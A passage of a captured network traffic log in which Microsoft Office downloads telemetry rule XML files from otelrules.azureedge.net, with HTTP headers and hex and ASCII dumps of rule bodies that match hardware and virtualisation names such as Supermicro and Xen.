2024-10-26 11:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:03 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114603Z-16849878b7898p5f6vryaqvp5800000002rg00000000buuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:03 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.9	49784	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:04 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114604Z-16849878b78xblwksrnkakc08w000000016000000000a5e8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.9	49785	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:04 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114604Z-16849878b78km6fmmkbenhx76n00000001dg000000000ykv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:46:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.9	49786	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:04 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:04 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: cfcfc7b9-001e-0065-0f5b-260b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114604Z-17c5cb586f6mkpfk79wxvcahc000000002d0000000004pbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:04 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.9	49787	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:04 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5d1ecdec-601e-0084-3dad-266b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114604Z-r197bdfb6b47gqdjqh2kwsuz8c00000002a0000000008h35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.9	49788	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:04 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114604Z-16849878b7867ttgfbpnfxt44s00000001v0000000008pkp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.9	49790	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:05 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114605Z-r197bdfb6b48pl4k4a912hk2g4000000016g000000002f0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.9	49789	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:05 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:05 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114605Z-16849878b785jrf8dn0d2rczaw000000032000000000cr56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:05 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.9	49792	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:05 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:05 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:05 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114605Z-16849878b78xblwksrnkakc08w00000001b00000000001as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:05 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.9	49791	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:05 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:05 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114605Z-15b8d89586fdmfsg1u7xrpfws000000006a00000000018hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:05 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.9	49793	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:05 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:05 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114605Z-15b8d89586f5s5nz3ffrgxn5ac00000002h0000000007cr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:05 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.9	49794	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:06 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 218b1b25-701e-005c-4b21-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114606Z-17c5cb586f6hhlf5mrwgq3erx80000000300000000006z4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:06 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.9	49795	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
